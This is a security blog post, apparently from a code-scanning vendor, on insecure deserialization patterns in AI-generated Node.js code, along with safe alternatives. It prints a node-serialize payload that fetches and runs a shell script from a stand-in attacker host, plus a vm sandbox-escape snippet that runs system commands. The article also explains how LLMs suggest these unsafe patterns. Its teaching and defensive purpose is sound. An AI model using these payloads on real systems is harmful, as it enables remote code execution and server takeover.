← All news
nodejs5 min read

Insecure deserialization in AI-generated Node.js code

By Seaworthy · 23 June 2026

Lines of HTML and JavaScript code displayed on a screen, representing programming and software development

Photo by Florian Olivo on Unsplash

The problem with "just parse this"

AI code generators are remarkably good at producing Node.js that works. They're much worse at producing Node.js that's safe. Deserialization is one of the clearest examples of this gap.

When a developer asks an LLM to "parse some user data" or "restore an object from cache," the model often reaches for whatever gets the job done fastest. That frequently means eval(), vm.runInContext(), or npm packages like node-serialize that were designed for convenience, not security. The result is code that runs perfectly in development and opens a remote code execution hole in production.

What deserialization actually means here

Serialization converts an object to a string or byte sequence you can store or transmit. Deserialization reverses that. The danger is that some serialization formats can embed executable code, not just data. If your deserializer runs that code, anyone who controls the input controls your server.

JSON doesn't have this problem. JSON.parse() only handles values: strings, numbers, booleans, arrays, objects. It cannot execute code. The dangerous patterns are the ones that go beyond JSON.

What AI-generated code looks like

Here's a real pattern I see coming out of LLMs when developers ask for "object serialization with function support":

const nodeSerialize = require('node-serialize');

// Deserializing user-supplied data from a request body
const obj = nodeSerialize.unserialize(req.body.data);

The node-serialize package has a known RCE vulnerability. Its format supports serialized functions using a _$$ND_FUNC$$_ prefix. An attacker can craft a payload like this:

// Attacker-controlled input
{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('curl attacker.com/shell.sh | bash')}()"
}

When unserialize() processes this, it calls eval() on the function body and the code executes immediately. This isn't theoretical. CVE-2017-5941 documented exactly this in node-serialize, and LLMs trained on pre-2017 code, or on code that doesn't flag the package as dangerous, keep suggesting it.

The vm module isn't a sandbox

Another pattern I see constantly: using Node's built-in vm module as if it were a security boundary.

const vm = require('vm');

// "Sandboxed" evaluation of user-provided config
const sandbox = { config: {} };
vm.runInNewContext(userInput, sandbox);

The vm module documentation explicitly states it is not a security sandbox. Code running inside a vm context can break out:

// Escaping from vm.runInNewContext
const escape = `
  this.constructor.constructor('return process')()
    .mainModule.require('child_process')
    .execSync('id')
`;

This works because the vm context shares the same V8 instance as the host process. The prototype chain is accessible and exploitable. AI models suggest vm as a sandbox because they've seen it used in that role throughout the ecosystem, even though the ecosystem has been getting this wrong for years.

The eval() family

eval(), new Function(), and setTimeout('string', ...) are all the same category of risk. AI code often reaches for new Function() as a way to reconstruct callable objects from stored strings:

// Reconstructing a stored callback from a database field
const fn = new Function('return ' + row.callback)();
fn();

If row.callback comes from user input or an external system, you've handed over arbitrary code execution. Even if you trust the source today, a SQL injection or SSRF attack against your own data makes this exploitable indirectly.

What to do instead

The fix depends on what you're actually trying to do.

If you need to pass structured data between systems, use JSON. Nothing else.

// Safe: JSON.parse only handles values, never code
const obj = JSON.parse(req.body.data);

If you need functions to travel between processes, redesign the boundary. Store identifiers, not code. Look up the identifier in a registry you control:

const ALLOWED_HANDLERS = {
  sendEmail: require('./handlers/email'),
  generateReport: require('./handlers/report'),
};

// Receive the identifier, not the function body
const handlerName = req.body.handler;
if (!ALLOWED_HANDLERS[handlerName]) {
  throw new Error('Unknown handler');
}
ALLOWED_HANDLERS[handlerName](payload);

This is less flexible, and that's the point. The flexibility of eval-based approaches is exactly what makes them dangerous.

For configuration parsing, reach for a purpose-built format. YAML with a safe loader and TOML both parse to plain data without executing anything.

Why AI code keeps making this mistake

LLMs learn from what exists on the internet. A lot of what exists is tutorials, Stack Overflow answers, and npm packages from before the security implications were well understood. The model doesn't know that node-serialize is dangerous unless that signal is in its training data. It knows the package is popular and that its API produces working code.

There's also a subtler issue. When you ask an AI to "serialize objects including functions," it correctly understands that JSON can't do that, so it reaches for something that can. The model is solving the problem you stated, not the problem you should have stated.

The right framing, when using AI to write this code, is to be explicit: "I need to serialize data safely for untrusted input. No eval, no function serialization, no vm module." Constrain the model and it produces better answers.


Seaworthy scans your repository for patterns like these and flags unsafe deserialization calls before they reach production.

This article was generated by AI and summarises publicly available sources.

From the makers of Seaworthy

Seaworthy scans your repo for the issues covered in articles like this one.

Security gaps, exposed secrets, and misconfigurations — caught before you deploy. Free to run, no account needed.

$ npx seaworthycode